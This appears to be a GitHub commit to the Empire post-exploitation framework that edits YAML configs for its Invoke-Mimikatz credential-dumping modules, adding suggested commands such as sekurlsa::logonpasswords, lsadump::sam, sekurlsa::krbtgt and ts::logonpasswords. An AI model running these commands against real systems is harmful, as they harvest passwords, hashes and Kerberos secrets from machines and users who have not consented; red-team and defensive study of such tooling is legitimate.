Fixed mimikatz command and added suggested values (#194)

* fixed mimikatz command and added suggested values * removed invoke-vnc changes * added space
BC-SECURITY · Aug 14, 2021 · 22774f1 · 22774f1
1 parent 7bc0644
commit 22774f1
Show file tree

Hide file tree

Showing 2 changed files with 10 additions and 2 deletions.
diff --git a/empire/server/modules/powershell/credentials/mimikatz/command.yaml b/empire/server/modules/powershell/credentials/mimikatz/command.yaml
@@ -33,5 +33,13 @@ options:
     description: Custom Invoke-Mimikatz command to run.
     required: true
     value: ''
+    suggested_values:
+      - sekurlsa::logonpasswords
+      - sekurlsa::minidump
+      - privilege::debug sekurlsa::logonpasswords
+      - token::elevate
+      - sekurlsa::krbtgt
+      - lsadump::sam
+      - kerberos::list
 script_path: 'empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command "{{ PARAMS }}"
+script_end: Invoke-Mimikatz {{ PARAMS }}
diff --git a/...edentials/mimikatz/ts_logonpasswords.yaml → ...credentials/mimikatz/terminal_server.yaml b/...edentials/mimikatz/ts_logonpasswords.yaml → ...credentials/mimikatz/terminal_server.yaml
@@ -24,4 +24,4 @@ options:
     value: ''
 script_path: 'empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1'
 script_end: |
-  Invoke-Mimikatz -Command '"privilege::debug" "ts::logonpasswords" "exit"'; {{ PARAMS }}
+  Invoke-Mimikatz -Command '"privilege::debug" "ts::logonpasswords" "exit"';